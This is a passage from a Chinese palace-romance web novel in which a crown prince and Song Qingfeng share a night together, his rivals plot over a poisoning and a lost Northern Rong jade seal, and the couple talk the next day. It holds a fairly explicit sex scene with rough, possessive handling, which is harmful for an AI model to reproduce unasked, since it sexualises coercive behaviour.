而那烛光底下,正安安静静地坐着一个人。 一身白衣铺陈开来,他侧着头,双睑微垂,手上捏着一只白玉酒杯。 屋内酒气混着甜香。 宋轻风心跳漏了一拍,看着他的侧颜,眉眼在烛光中模模糊糊,与记忆里的人渐渐重合在一处。 她不自觉地慢慢走上前去,走到他的榻边。 小小的烛火在上,他在光晕里,似乎镀上了一层愈加不真实的光圈。 瞧不真切,却又真切地彷佛回到了几年前。 听闻声响,李岏微抬眼睛,正撞进她乌黑的眼睛,正一眨不眨地看着自己。 里头有烛火的光在跳动。 李岏扯了嘴角,一只手撑着头,歪着脸露出一丝似笑非笑来道:“不妨直接说说,你靠近孤,又是想图什么呢?” 宋轻风拧着食盒道:“我来给殿下送吃的。” 李岏的目光在她手中的食盒上一扫而过,抬手道:“拿来。” 宋轻风忙将里头的汤和粥悉数端了出来。 李岏一把扔了酒杯,看也不看,一掀碗将橘汤喝了个精光,金色的汤汁有少许顺着唇角流了下来。他眉心皱了皱便放下了。 而后舀了一勺粥入口。 宋轻风紧张地站在旁边,看着他薄唇微张,将粥含入了口中,隐约瞧见光洁的脖颈处喉结滚动。 “好喝吗?” 好一会李岏却皱眉道:“好苦。” 苦? 怎么会苦? 她上前端起来自己喝了一口,咸香透着甘甜,何来的苦? 哪知李岏却伸出一根指头,又指着她腰间鼓鼓的荷包。 宋轻风下意识捂住荷包。 他却道:“给我一颗。” “你要吃糖?”她有些疑惑,看他的神色不似在开玩笑,只好打开荷包,在里头挑了挑,挑出个两个个头比较大的糖来。 李岏看着她掌心躺着的小小两粒糖,毫不犹豫地捏了一颗送进了嘴里。 入口先是一阵苦涩,而后一丝甜味在舌尖慢慢荡漾开来,满口的清甜。 宋轻风顺手也捏了一颗送进了自己嘴里。 李岏抬头看她,看她脸颊被塞成一个小鼓包。 他自小就喜欢甜食,可是却总要装作不经意的样子,他不能叫人知道,一个太子,居然爱吃糖。 她却含糊地道:“好吃吧?我就说这世上没人不喜欢吃糖,太子殿下也不例外。” 话音刚落,李岏却一把抓住她的手腕,用力将她拽到了身前。 她半个身子横跨在桌案上的棋盘上,案上残棋被弄乱,发出一阵哗哗的声响。 连带着酒壶也倾倒在地。 宋轻风手腕被对方紧紧地抓着,一丝疼痛袭来,“好疼!”宋轻风轻叫出声,用力想要扳开他的手。 可一抬头,却撞见了他的脸,离自己只剩咫尺之距,她终于瞧清了他的眉目。 发上还挂着细小的水珠,脸颊好似冻住了一般,冰冷的眼底深处,是落寞,是萧瑟。 而额角上,一块伤口破了皮,还冒着血珠,在他白皙的脸上格外醒目,叫人觉得是一方美玉支离破碎。 她忘记了挣扎,忘记了手腕的疼痛,下意识伸出另一只手想要抚上他的伤口,到底停住了,只是喃喃开口道:“疼吗?” 她感到心中如发了洪水一般,泥沙俱下。 听闻他被抓走之时,一身的血污,数不清的刀伤箭伤。 不知他被敌人抓走之后,又是受了多少苦楚。 这些,她从来不敢想。 宋轻风感到双目酸胀,浑身止不住地轻颤抖。 她紧紧地盯着他的眼睛道:“告诉我,是谁伤了你?” 李岏轻抚了一下,呵呵笑,酒气氤氲,满眼嘲弄:“怎么?难道你还想与我报仇?” 宋轻风用仅剩的一只手抓住了他的肩,语音是从未见过的决绝:“这世道,从来便是以牙还牙,以眼还眼!便是死,我也要替你报仇。” “别怕,我会陪着你。” 李岏看到面前的人,双目乌黑,脸颊白中透着红。他第一次仔细看她,才发现她生得实在是少见的好看。 此刻乌黑的双眸中隐现泪意,看向自己的眼神像是无尽的深渊。 里头是致命的诱惑,要将他牵引进去。 今夜,他便是再次跳进这深渊又会如何? 还能拿他怎样? 李岏手下再用力,将她彻底拽了过来。 棋桌倾倒在地,上头的棋子“哒哒哒”撒满了矮榻和地面。 他双目微眯,用另一只手掐起她的下颌,迫使她抬头看向他:“你陪着我?你不怕我?我的手上,沾染着数不清的血。” 宋轻风被迫抬头,定定地看着他的双眸道:“只要问心无愧,问天无愧。” 她居然能说出这样的话,李岏一时松了手。 问心,问天,是的,他从无愧意。 便是再来一次机会,他只嫌自己太过心软,只盼着自己手段更残忍,染上更多的血。 哪知宋轻风却接着道:“但是你不同,只要是你想做的,我都支持。” “为什么?”李岏问道,而后想起先前她的话来,有些犹豫地道,“难道是因为,你喜欢我?” 宋轻风点头。 他看着她毫不犹豫地点头,突然翻身而起,一把将她压在了身下。 “很好。”他面无表情。 宋轻风还没反应过来,却突然感到身体一凉。 她低头一看,自己的腰带竟已被解开,衣裳便滑落下去。 上方的人,白玉的面上有些发红,他双手撑在头侧,垂眸看着她。 宋轻风感到他结实的身体越来越近,一股热意随之包裹住了全身,奇艺的味道充斥在鼻端。 李岏看着她道:“就算孤不给你任何名分,也不给你任何回报,以后若有太子妃入府,你将会受人摆布。” 他眉眼里毫无温情,说出的话冷酷如雪,眼角下的红痣殷红如血。 宋轻风愣愣地看着那枚红痣出了神。 他见她没有出声回应,一把掐住她的腰身,面露狰狞:“你从我这里什么好处都得不到,得到的只是一个冷冰冰,满手血腥的人,如此,你还喜欢我吗?” 宋轻风伸出手,终于摸上了那粒小痣,嗓音暗哑:“我只求能时不时看到你。” 李岏感受到她指尖滚烫,热意自脸颊传递到四肢百骸,他伸出手,一把将她仅剩的衣裳全都抽走。 屋外簌簌雨声,呜咽的风声传进了屋内。 他的酒气喷洒过来,双手紧紧掐住她的腰身。 指尖的冰冷叫她忍不住浑身战栗,力道大得彷佛要将她从中折断。 周边的一切都哗啦啦四散开来,屋内乱成了一团。 酒香四溢,衣裳散了一地。 秋雨簌簌,响声不绝于耳。 宋轻风躺在塌上,感到背部一粒粒棋子,搁在光洁的皮肤上,冰凉刺骨。 散落了一榻的棋子凹凸不平,在她身下摩擦来去,很快便生了热意。 她却早已无暇顾及这背部的不适,全部的神经都被身下的每次动作紧紧抓握。 软榻本就不宽敞,她很快就被撞得抵靠在窗台边上,雨声透过窗缝响在耳侧。 风雨飘摇,飒飒秋雨声。 她想顺势就攀着窗户爬坐起来,哪知身上的人却跪着爬上了榻。 他突然覆下身来,将她圈在身下,黑黢黢的眸子定住了她。 宋轻风被他的目光看得浑身发麻。 他却将头放在了她的颈间,低声道:“宋轻风。” 声音气若游丝,几疑是错觉。说来这竟是他第一次唤她的名字。 这三个字出口,彷佛有什么东西轰然倒塌。 叫他焦灼的心内又生出一丝失了控制的异样感觉。 宋轻风睁开眼,瞧见他的脸近在咫尺,双目迷离,里头黑得如墨一般浓稠。 她来不及回应,却见他低下头,又道:“宋轻风。” 而后一口咬住了她的唇。 他的唇压下来的瞬间,宋轻风只觉得大脑一片空白,呼吸骤然一滞,心跳如擂鼓般在胸腔中轰鸣。 他的气息带着酒香,滚烫而又急促,不容抗拒,将她整个人包裹在其中。 宋轻风感到一阵眩晕,仿佛置身在一片无边无际的沙漠,干渴炙热。 而身上的人,冰凉与火热交替。 她徒劳地挥舞着双手,想要获得片刻的喘息之机,他的手指却穿过她的头发,扣住了她的后脑,将她狠狠压向自己。 而后便撬开了她的唇,不容她的任何躲避。 舌尖交缠的瞬间,她忍不住轻哼出声,声音破碎而出:“太子……” 彷佛安静的湖面掀起狂风。 李岏血红了眼睛,紧紧抓住她,掠夺着她的每一寸领地,动作愈发凶狠。 宋轻风再无招架之力,破碎的尾音断断续续,彻底消散。 整个人被他带着,如一片可怜的小舟,在惊涛骇浪里颠簸翻覆。 她什么也做不了,只能无力地紧紧攀住他的肩背,防止在一波又一波浪潮里,被彻底淹没。 风雨之际,李岏感到一股从未有过的惧意席卷全身,一股失控的感觉叫他全然失了思考的能力。 他终于从唇上松开,一口咬住她的耳垂,面目狰狞,低哑的声音如幽魂一般响在耳侧:“宋轻风,若是你也敢背叛我……”—— 作者有话说: 晚安。 第47章 第 47 章 玉玺 紫晨殿的酒宴, 没多久几人便也失了兴致,草草的散了。 皇帝醉酒醉得厉害,被扶着进了内室休憩。 晋王以侍汤为名也留在了宫内。 不久回露宫的消息传了出来, 他忍不住站起走到皇后的身旁,低声道:“居然被他发现了!老十那个脓包,不会交代出我们来吧。” 皇后正在收拾皇帝的衣物, 只是埋头道:“你慌什么, 老十与我们有什么干系。” 晋王忍不住道:“母后为何用的是那种无关痛痒的药!若是下的……” 还未说完,却感受到皇后投来的冷淡目光。 他顿了顿, 到底吞了回去,只是道,“这么难得的机会, 若是下的是猛药, 此刻都已得手了!哪像现在这般被动!” 皇后放下手中衣物,坐下来道:“他即便是死,也不能死在宫里。” 晋王恨恨咬了牙,他若是死在宫里, 如今镇守在边关的几十万大军, 便可名正言顺地挥师来京。 而在郊外的谢危,谁知又会投入谁的麾下。 两人不语,只是着人又去打探消息。 不一时却听说太子只是抓了许多太医看了病, 将十殿下发去了宗正寺,而后一声不响地自己走回东宫去了。 “再没了?”晋王问了几遍, 都得到同样的答复。 他挥退内侍, 在殿内走了几回。 若是太子暴跳如雷,当即要来对峙大闹,他反而不慌, 可而今这般模样,分明是要憋什么坏心思。 他一向狡诈如斯。这种事,却第一时间叫了这么多太医来。 他转目去瞧母亲。 皇后正坐在灯下,绝色容颜楚楚动人,近四十来岁的人,还是纤纤弱柳之态。她正是凭借这样十年如一的姿色,温婉的性情,宠冠后宫二十年。 如今听闻心腹的回报,她竟只是挑着灯芯,眉目未有丝毫变化。 晋王不由自主地叫了一声:“母后。” 皇后抬目望来。 晋王犹豫了一瞬,才道:“母后,要不…要不算了?那人心狠手辣,六亲不认的,外头那远的不说镇北军,近的连西山大营都是他的狗!我们要不还是算了吧?他日儿子想办法带您去封地,我们快快活活地过…” 皇后道:“你愿意如此,别人未必会如你意。” 晋王见皇后的模样,不由有些犹豫地道:“难道母后,想到了好办法?” 皇后道:“说来,你们的婚事,也要操办起来了。” 晋王一愣,突然想起什么道:“母后难道说的是回露宫的那个女子,她到底是什么身份?” 皇后看着摇曳的烛火道:“是个他不会拒绝的身份。”。 晋王走到外间。 瞧见窗外的雨势渐大。 他的贴身心腹走上前来,悄声道:“殿下,属下已查明,谢危等人这些日子在皇觉寺附近盘桓,是想查找北戎的奸细。” “北戎的奸细?” 那心腹点头道:“殿下您知道,北戎内乱能闹到如今的地步,皆是因失了镇国玉玺,谁也不服谁。如今他们不远万里来京,其目的不言自明。” 晋王点头道:“我道谢危这些人为何突然将那么些灾民安顿去了皇觉寺。” “哼,一群白痴,连京城的边都没摸着,如今被重重困在皇觉寺,还能有什么作为。” 心腹道:“这奸细送上门来,咱们何不好生利用一番?” 晋王道:“有屁快放。” 那心腹尴尬地揉了揉鼻子,也不好卖关子了,只是道:“咱可以将消息散出去,那位派人将北戎奸细安顿在了皇觉寺,他与北戎勾结的罪名,便是不能落在实处,但想洗脱嫌疑也是难于登天。” 晋王反应过来。 而今陛下正与太子闹到如今这个地步,若是抓住这样的把柄,还怕没有对付他的地方吗? 这父子二人如今这样关系已僵持多年,谁也不愿再多迈出去一步。 不若就让他来推波助澜,打破这一平衡。 呵,权欲之争,向来是你死我活。 等他二人两败俱伤之时,他正好坐收渔翁之利。 “不光要将太子秘密收留北戎奸细的消息传出去,”晋王道,“还要想办法联系上这奸细,他们远道而来,手里必是有什么拿得出的东西。” 心腹道:“谢危守卫森严,之前打听点消息出来已是很难……” 晋王打断他道:“没用的东西,这点小事,难道也要我教你?这皇觉寺里,难道没有僧人?没有香客?” “这……” 晋王瞧了他一眼道:“我瞧你这长相就很适合当秃驴,到时将这头发剃了,混进去。” 心腹感到头皮发麻,不多的头发都金贵起来,苦着脸道:“殿下,属下这……谢危一眼就能认出属下来啊。” 晋王清了清嗓子道:“难道本王不知道吗!” 心腹忙陪着笑脸道:“谢殿下,殿下果然厉害,属下必选个合适的人选前去。” 说完心腹又犹豫了瞬间道:“此事,可要知会皇后娘娘知晓?” 晋王看了眼已经灭了烛火的殿内,转头冷笑道:“不必了。母后到底妇人之仁,在她眼里,父皇永远排在第一位。” 在她眼里,自己永远不过是排在第二位。 心腹又道:“说来这北戎镇国玉玺,北戎三皇子来消息,若您能助他拿到玉玺,他必也会助您实现您的愿望。” 晋王不以为意,嗤笑道:“凭他那个白痴,自顾不暇,能如何助我?” 心腹左右瞧了瞧,见殿内无人,这才低声道:“那位如今敢这般行事,皆因背后有镇北军撑腰。” “若是镇北军自顾不暇,亦或者改了姓氏,殿下还怕没有机会吗?” 晋王目光闪动。 若是失了三十万镇北军做靠山,他不过是剪了尖甲的猫,还有什么可怕。 那心腹道:“安西地动时,原想将那些人困在安西,不想那位居然连陛下的半点脸面也不顾,连周和光都被拿下了了。如今,若是北戎三皇子得了帝位,北戎内乱停止,他再假意进攻,镇北军必倾巢迎战。” “到时这京里发生些什么,镇北军远在西北,又要抗敌,又还哪里顾得上。” “等这京师里安顿下来,一道旨意调镇北军回京换将,谁又敢拦?” 晋王打了个哈欠,拍着嘴巴道:“我朝与北戎向来势不两立,我们各自凭本事,绝不会为了此事,出卖我一兵一卒,出卖我一寸土地,这是底线。” 心腹忙竖起大拇指道:“殿下所言甚是。” “可这劳什子玉玺,我自小便听闻过,却从未见过,如今叫我去哪里寻?要不……我派人现雕一个给他们?” “要我说,这些北戎人都是白痴,为块破石头就能争个不休,人还能叫块破石头给为难住了。” 心腹一惊,尴尬地笑道:“这镇国玉玺是北戎几百年前的立国之本,代代相传。况且玉石,总是独一无二的,现雕也难能雕个一模一样的,难免叫瞧出破绽来。” 他说完生怕这位殿下真执着于造个赝品出来,忙又道:“自那白马战神死后,这玉玺便失了踪迹,但据可靠消息说,它就在这宫里。又有传言说,它很可能便在藏书阁。” “藏书阁?” 晋王突然想起他少时,曾去藏书阁玩耍,无意中瞧见那藏书阁里还有一处不起眼的小阁楼,里头存着耀眼的各色宝物。 “藏书阁守卫森严,入阁必被严密看管。连取本书都有专人伺候跟着,又能有什么行动。” 晋王负手,看着外头的簌簌雨声,突然道:“可有个例外的时候。” 心腹谄媚地笑道:“是了,如今正是太子殿下的千秋。”。 等宋轻风从迷糊里清醒过来的时候,人已经走了。 屋内归于寂静。 窗外的雨还在淅淅沥沥地下着。 天色昏沉,瞧不清是什么时辰了。 宋轻风转身,才发现自己身上盖着被子,而被子底下的身体居然不着寸缕! 她面色一红,忙又将被子严严实实地裹着。 转目瞧床下看,自己可怜的衣裳,居然不见了踪迹。 印象里满地的凌乱,竟然都被收拾好了! 她一惊,裹着被子坐起来,可身上无处不酸痛,腰窝好似要断掉,双腿更是麻得僵硬,好在浑身干净清爽。 她瞧向被窝,突然想起昨夜她迷糊地瘫软着,而他蹲着身子,拿着巾帕给自己擦拭的模样,甚至还擦了…… 啪! 宋轻风一把盖上被子,阻止自己的胡思乱想。 她恍惚想起昨夜种种,一时有些心有余悸。 这人发起疯来,居然这般吓人。 直折腾得她躬成了虾米,哭唧唧地连连讨饶,却还不肯放开她。 她不由龇了龇牙,苦着脸叫道:“有人吗?” 声音居然细若游丝,双唇更是似乎肿成了馒头,麻麻地失了知觉。 宋轻风瞬间又想起昨夜,他如何在自己的嘴里攻城略地,叫自己无处可逃,又在……一时感到自己愈发哑了,再说不出话来。 她缩了缩脖子,才瞧见不远处的架子上整齐地叠着件单薄的里衣。 她忙裹了被子,顾涌顾涌地跳过去。 抓了衣裳飞快地套在了身上,而又忙将被子裹了起来。 这衣裳宽大,触肤冰凉柔软,倒像是太子的。 宋轻风一时也管不了太多,只能裹着被子,偷偷摸摸地挪到门口。 耳朵在门上听了听,果然一点声音也无。 按以往的时辰,太子这时候都是出门去了,不在东宫,要很晚才会回来。 这殿内外的侍从便大多在外殿守着,除非给她送膳送药,才会进来。 她便能裹着被子跑到体顺堂旁边去,她在这几日,衣裳应该都是放在那里的。 想到此,宋轻风一把掀开帘子。 哪知她方闪身出去,却心尖一颤,知道不好! 果然抬头,瞧见好几道目光,齐刷刷地盯了过来—— 作者有话说:晚安~ 第48章 第 48 章 我药 宋轻风头皮一阵发麻。 直觉得对面的几双眼睛犹如一只只大灯笼一般, 又大又亮,牢牢地盯着她。 盯得她面皮一阵发紧。 而李岏在正中的藤椅上坐着,正埋首看手中的书信。 突然觉得不对, 抬起头便撞见了她裹着棉被,粽子一般,一脸呆楞的模样。 李岏头皮一紧, 飞快扫了众人一眼, 刷地从椅子上起身。 两步跨上前来,推着宋轻风就进了内室。 屋外众人面面相觑, 尴尬地四处乱瞟,装作没瞧见的样子。 如何也想不到,殿下的方华殿里, 居然冒出这么个女子…… 李岏低声道:“醒了怎么没叫人?” 宋轻风面皮发烫, 一时有些不敢直面他,下意识退了一步拉开了些距离,这才小声道:“您怎么没出门去……” 李岏盯着她圆圆的发顶,好一会才道:“孤这几日都不出门。” “啊?”宋轻风一惊, 啊完才觉得有些伤人, 忙解释道,“没……没其他意思,就是……” 李岏负着手, 也没说什么,只是道:“孤叫人送东西进来。” 说着便自转身走了。 宋轻风这才小心翼翼抬头, 瞧见他背影, 只是走路似乎有些一瘸一拐? 腿也受了伤? 她心中一惊,方要发问,突然想起昨夜情景。 他在榻上跪了那么久, 可不要瘸了。 宋轻风一时神思不属,好好几件衣裳,愣是翻来覆去穿了好一会,才慢腾腾地走到外间。 好在外头的那几个大灯笼都不见了。 只太子一人,半躺在藤椅上看东西。 室内光阴昏暗,只远处一扇小窗开着,透出光来,正照在他手上。 宋轻风一眼瞧见他额角的伤居然还明晃晃挂在上头,连个伤药也没抹! 听见她出来,他并没有抬头,只是示意不远处道:“用膳吧。” 宋轻风却一步上前,瞧见那伤口已有些结痂,却依稀可见血红点子密布,这伤口不算严重,但在他白瓷一般的面容上,颇有些惊心动魄。 她道:“怎么不上药?” 李岏抬起头挑了挑眉。 他没有提,所有人都只敢装作没看见,连目光都不敢扫过来分毫。 而全福正巧捧着单子进来,听闻此言,忙偷偷朝宋轻风瞟了瞟摆在桌案上的伤药。 宋轻风一眼瞧见,拿起伤药过来,挖了好大一块就往他额上去。 李岏下意识避开头道:“做什么?” “给您抹药。” 李岏低着头,面色发沉道:“不过小伤,有什么要紧。” 宋轻风彷佛没瞧见他面色难看,只是道:“这怎么算小伤,这天气,一个不小心说不得留下疤来可怎么办!” 可他居然漫不经心,毫无听劝的意思! 宋轻风不由怒从心头起,劈手夺了他手中的书信,叫道:“做什么不听话!” 李岏一愣,呆呆地看过来,见她一脸凶相,下意识“哦”了一声。 哦完却突然反应过来,不由面色发青,冷声斥责道:“放肆!你在同谁说话?” 一声斥责叫宋轻风反应过来,眼见他咬牙切齿,面黑如碳,忙扯了扯衣裳,将药扔在一旁道:“我饿了。” 而后缩着脖子跑到了远处的膳桌上。 说来她一坐下,闻着一桌菜香,五脏庙府立时开了集市,喧闹个震天响。 当即埋头只顾扒拉,一时风卷残云,满室飘香。 全福见殿下时不时瞟隔间外的膳桌方向,忙低声道:“太子殿下,您饿了吧,奴婢也服侍您用膳?” 李岏道:“孤不饿。” 说着埋头看手中的文书。 全福不敢多说,当即放下手中卷书,跪下身给他揉膝盖。 宋轻风埋头扒饭的时候,突然侧眼瞧见西边窗外的阴暗光线射了进来,不由心中一惊,双手打了颤。 她慢慢抬头,问正在一旁的顺意道:“现在什么时辰了?” 顺意低声道:“回娘子,现在是日落时分,酉时了。” “酉时!”宋轻风一声怪叫,面上血色尽褪,嘴唇打了颤。 声音都大了起来:“什么!我居然一觉睡到了酉时!这天都快黑了!” 远处的李岏听见此间声响,侧目瞧过来,却见她面色苍白,小小的五官皱着,浑身单薄得可怜。 不由有些悔意。 昨夜情形,他到底失了控制太过放肆。她毕竟年纪还小,禁不住他那番折腾,如今这苍白模样,实在是有些可怜。 以后在此事上,自己还需轻柔些才是。 宋轻风拉住顺意的袖子,哑声问道:“药呢?” 顺意愣了愣,会过意来,小声地凑过来道:“殿下不让奴婢们吵醒您,不知您何时醒,汤药便也未送来。” 宋轻风掐指一算,距最后一次大概过去六个时辰了,不知还有效果没有,不由有些泄气。 拉住顺意的袖子叹道:“完了吧,真完了!” 顺意惊地面色发白,慌忙了瞧一眼旁边,好在无人发觉,这才嗓音压在了喉咙口道:“娘子,犯了忌讳!” 宋轻风这才惊觉说了“完”字,想起某人奇怪的名字,不由闭了嘴。 好一会又自暴自弃道:“算了,死马当活马医吧!听天由命了。” 一会又咬牙道:“给我药,要加倍!!” 李岏坐得远,却瞟过来,见她和顺意拉拉扯扯在说话,只是不知在说什么,面上神色变换来去。 她怎么与谁都有说不完的话,方见了一面的人都能写厚厚一沓的信。 他低头瞧向看了半日的信,不由觉得手中的书信怎么写得这般冗长无趣。 顺意闻言出去取药,低头退出的时候却觉得脊背发凉,一道渗人的目光自他身上扫过,他不敢抬头,只得硬着头皮,愈发躬成了虾米状出去了。 李岏总算把信看完了,扶着全福的手自藤椅上起身,也走到膳桌旁,撩开衣摆坐了下来。 宋轻风看了看,欲要起身。 李岏道:“坐下吧。” 她便也顺势止住了起身的动作。 席间一时有些安静,只有极轻微的杯盏之声。 全福率先盛了碗汤来,李岏抿了几口,拿起巾帕来擦了擦嘴,这才慢慢开口,不经意地道:“你们方才在说什么?” 宋轻风扒拉着碗里的饭粒,飞快地瞧了他一眼道:“我药。” “什么?”李岏一惊,险些呛到。 宋轻风幽怨地道:“天色已晚,我药” 李岏到底被呛到了,咳嗽连连,一张白玉的脸涨得通红。 昨夜他用力过猛,而今还有些没恢复过来怎么办。 “还没喝呢。” 宋轻风奇怪地看了他一眼,这么大的人,连喝口汤都能被呛到。 李岏当即面色变换来去。 全福见状慌了神,一边轻拍他的背,一边担忧地道:“太子殿下,您呛得厉害,该不是昨夜那药劲太猛,您还没缓过来!奴婢这就去请太医来!” 李岏的脸愈发的黑:“不许提药字!” “” 全福却还是放心不下,昨夜殿下喝了那黑心肝的药,虽然太医已说无大碍了,可那是毒药,他如何放得下心! 当即又道:“殿下,这实在轻忽不得,您近来身子弱,定要好生补补才是。” 说着又自盛了桌上的人参乌鸡汤,和六神大补汤,端到了李岏的面前。 李岏不抬头,也感觉到对面的女子睁着好奇的黑眼睛,一个个扫过他面前的汤。 她方才只顾埋头扒饭,汤是一口没喝。 要是先喝了汤填饱了肚子,哪里还能吃得下多少其他东西。 见全福还在一个劲给他布些滋补之物,他当即面色黑沉,与全福道:“你全喝了!” 全福不由感动地热泪盈眶:“太子殿下,您居然还惦记着奴婢,奴婢不累,虽然昨夜奴婢一夜未眠,守在您门口,但只要您好好的,奴婢便是死都值了。” 李岏:“” 宋轻风:“” 不一时,顺意捧着碗来了。 却见殿下正坐在膳桌旁,与宋娘子一同用膳,他此时不便上前,只得捧了碗站在不远处侯着—— 作者有话说:不好意思啊昨晚不小心睡着了,没有请假 晚安~ 第49章 第 49 章 软肋 全福感慨完, 两人面面相觑。 想到昨夜情景,一时都有些无语。 宋轻风不知该往哪看,只好重又抓起筷子埋头对着空气扒饭, 不管碗里最后一粒米早被她扒了干净。 李岏本就没胃口,原是吃了一口便要丢箸,余光却瞧见旁边人半张脸都埋进了碗里, 一时倒多吃了几口。 等她将脸从碗里抬起来, 李岏放下银箸,抚了抚了腰间不存在的玉带, 开口道:“过几日,孤要出宫一趟。” 宋轻风一愣,他平日里并不是没有出过宫, 夜不归宿也是有的, 为何巴巴地说一趟? 她心中一动,问道:“您要去多久?” “快则十日,慢则月余。” “这么久!”宋轻风喃喃地道,盯着他看了一会, 而后才道:“能不去吗?” 李岏摇了摇头。 宋轻风却又点头道:“好。” “你, ”李岏顿了顿道,“你在宫里,等我回来。” 宋轻风直直地看着他, 好一会才道:“我可以等,等你回来。” “但是你一定会回来的, 对吗?不是骗我?” 李岏心口一窒。 再看她似乎眼角都泛了红, 眸光晶莹,身体小小的一团,脸色有些苍白, 头发只是随意拿根丝带绑着,几缕发丝便这般落在脸颊边。 她在这宫里,孤身一人,只有自己这一个依靠。如今自己要离开一段时间,她便这般惊慌失措。 他想要伸手帮她将头发理一理,却没有动,嘴唇张了张,才挤出一个玩笑来:“孤是太子,不回来去哪里?” 宋轻风这才想起,他这个太子出行的阵仗。 他经过的地方,早就提前叫人清了场,被东宫卫围得铁桶一般,莫说有人是想要对他不利,便是靠近都难如登天。 而且守在他身边的那些人,尤其是那个高手,名字都取得这般明晃晃。 不像从前兰哥哥一人,单枪匹马,只有一把长剑。 她这才如释重负,咧嘴笑了笑道:“那你早些回来。” 李岏见她笑得勉强,声音也低下去了,道:“嗯,孤会派人守着这里。” 宋轻风道:“没关系,我回破云院去,那里热闹,还没人打扰。” 她这几日在此养风寒,风寒也早就好了。 过了一会,宋轻风又道:“如今天凉,在西北此刻估计都该飘雪了,你多带点衣裳。” “嗯。” “若是遇到危险,”宋轻风顿了顿道,“若是遇到危险,先顾着自己的命。” 她这般反复叮嘱,殷殷交待,叫李岏心中软了软,忍不住宽慰她道:“普天之下,没人敢对孤下手的。” 说完却见宋轻风飞快地扫了一眼他的额角。 他额角的伤还明晃晃地格外显眼。 他的话顿时吞了回去,脸色也淡了下来。 席间一时安静地落针可闻。 全福见气氛有些尴尬,忙道:“马上就入十月,寒气逼人,殿下出门这么久,连奴婢都不带着,叫奴婢怎么放得下心?” 说完却见李岏淡淡的目光扫了来。 他浑身汗毛一竖,吓得闭了嘴。 李岏咳嗽了一声,有些尴尬地解释道:“此行艰辛,不比在宫里。” 他连马车都未安排,安排的是支快马队。 为得不过是速去速回。 宋轻风却低头扯着衣摆发呆,并未应话,不知听到了没有。 全福见自己捅了篓子,忙返身回到书案便上拿起方才他捧进来的卷书,凑过来笑嘻嘻地道:“太子殿下,这是奴婢汇整的礼单,连宋娘子都夸好呢,您可要过目一二?” 李岏心中烦闷,毫无兴趣,只是道:“不必。” 宋轻风此刻却听见了,想起前日见到的那些晃花眼的耀眼东西,玉石金器,书画古玩,许多她也不知是什么,林林总总,都是她见也未见过的珍品。 她忍不住道:“殿下,那些礼物您不想瞧一瞧么?” 李岏反问道:“为什么要瞧?” 那些名为他的生辰之礼,实则又与他有什么干系? 在他眼里,这些东西和这花草树木,也没什么不同。 宋轻风闭了嘴。 好看的东西,自然是瞧了心情也好了,何况是自己的生辰礼物,还是稀世珍宝。 李岏见宋轻风不说话了,复又低头扯着衣摆,只留给自己一个黒黑的脑袋。 一时觉得自己方才说的话未免过分了些,他顿了顿道:“你进宫几个月了,若是有喜欢的,随意拿去。” 原以为她会欢喜雀跃,哪知宋轻风却摇头道:“不要。” 她这么直截了当地拒绝,李岏心道她是心情不好,连这些东西都没了兴致。或者该晚几日告诉她自己要出宫的消息。 宋轻风却道:“这些都是你的生辰礼,我怎么能拿呢,说来,我还没送你礼物呢!” 李岏心头的不适瞬间消散,他分明还瞧见那兰花荷包还未绣完。 她初做针线,难免有些手忙脚乱。 好在已见雏型,想来也是快了。 “等孤回来,想必就能送了?” 宋轻风却转眼瞧见顺意早在一旁站着,手中捧着药碗,立时一惊。 光顾着说话,将这事都差点忘了!顺意什么时候来的也没吱一声!她忙招呼顺意。 顺意瞧了瞧,捧了药碗过来。 还未靠近,一股酸涩的味道便弥漫了开来。 李岏皱眉,一眼瞧见那白瓷碗里,漆黑如墨的一碗药汁,泛着可怖的幽绿。 那难闻的味道便是从这药汁上飘来。 “这是什么?”他下意识开了口。 问完却又发现不过多此一问。他知道按着宫规,正妃产下嫡子前,为了避免妾室产下长子,便是靠这避子汤。 只是他从未在此事上操过心,自有人按着宫规安排得妥妥帖帖,他也从没见过。 可不想是这番模样。 他方要开口,却见宋轻风面色如常,已伸出手来接。 李岏下意识地道:“等等。” 顺意一惊,忙收回手来。 全福也一时侧目。 之前云诗歌宴上就有传言,说是宋娘子亲口所说,太子殿下答允她可以生下长子。 如今这反应,是要停了宋娘子的避子汤? 宋轻风也吓了一跳,眨着眼角问道:“怎么了?” 李岏方要开口,却听门外有人声道:“太子殿下,臣高守有事求见。” 李岏看了看宋轻风,却自起身行到外间。 高守见他出来,忙上前道:“殿下,方才藏书阁处来报,晋王殿下带着人,去了藏宝阁,还打发走了跟随的内侍,好一会才从里面出来。” 近日因是太子殿下十八岁生辰,各地藩王,邻国使臣来京恭贺。 陛下特允了他们宫中便宜行走,并交待由晋王殿下负责招待。 李岏道:“还有谁去?” 高守道:“随行的,有西垂和北戎的来使。晋王殿下奉陛下的旨意招待外宾,藏书阁的人并不敢拦,也不敢强行跟着。” 李岏扯了嘴角冷笑道:“难道是带他们瞧瞧孤收到的生辰之礼?” 高守却低下魁梧的身体,低声道:“太子殿下,近日密探打听到一个传言……” “什么传言?” “传言言之凿凿,说是那失了踪迹的北戎玉玺,便藏在宫内的藏书阁内。看来这传言不光是我们得了,晋王殿下肯定也是得了,偏偏正巧他领了这差事,这便直接带人去了。” 李岏轻微皱了眉头,自十几年前,白马战神身死,这玉玺便也跟着失去了踪迹。 这几年不光是北戎在暗中派人一波一波地找寻玉玺,他们自己,何尝不是在暗中找寻。 毕竟当此时候,北戎内乱,若是叫哪位北戎皇子突然得了玉玺,北戎内乱或可立刻停止。 到那时,我西北边境,哪里又是安宁。 这传言不会是空穴来风。 若是晋王是奔着这玉玺来的,那他寻玉玺做什么?是想向陛下邀功,还是想收买北戎的人心? 亦或者,他只是想趁乱将自己拉下水。 毕竟那藏宝阁里,摆了他不少的生辰礼。 高守见太子沉了脸,忍不住道:“先头陛下怀疑是殿下您私藏了玉玺,而今又冒出这传言来,不知这传播流言之人,是什么心思?” 什么心思? 李岏冷笑出声。 他问道:“出来后,几人又去了何处?” 高守道:“臣悄悄跟了一段,几人出来后,晋王便趁着宫门下钥前带着人去了外头的酒楼。” “看来是未寻到。派人盯着,之后晋王接触了什么人,都要牢牢记着。还有想办法找到这传言是从哪里来的。” “是。” 李岏又想了想道:“告诉云逍,叫他看好皇觉寺,别整日惦记着写信,若是叫外人乘虚进入,让他提头来见。” “是。” 李岏看了看屋外的天色。 最后的残阳早已落下,天地一片幽蓝得黑。 黑得叫人怀疑,明日的太阳是否能照常的升起。 高守又道:“殿下,昨日那位女子的身份,已初步有了些眉目。” 李岏不说话。 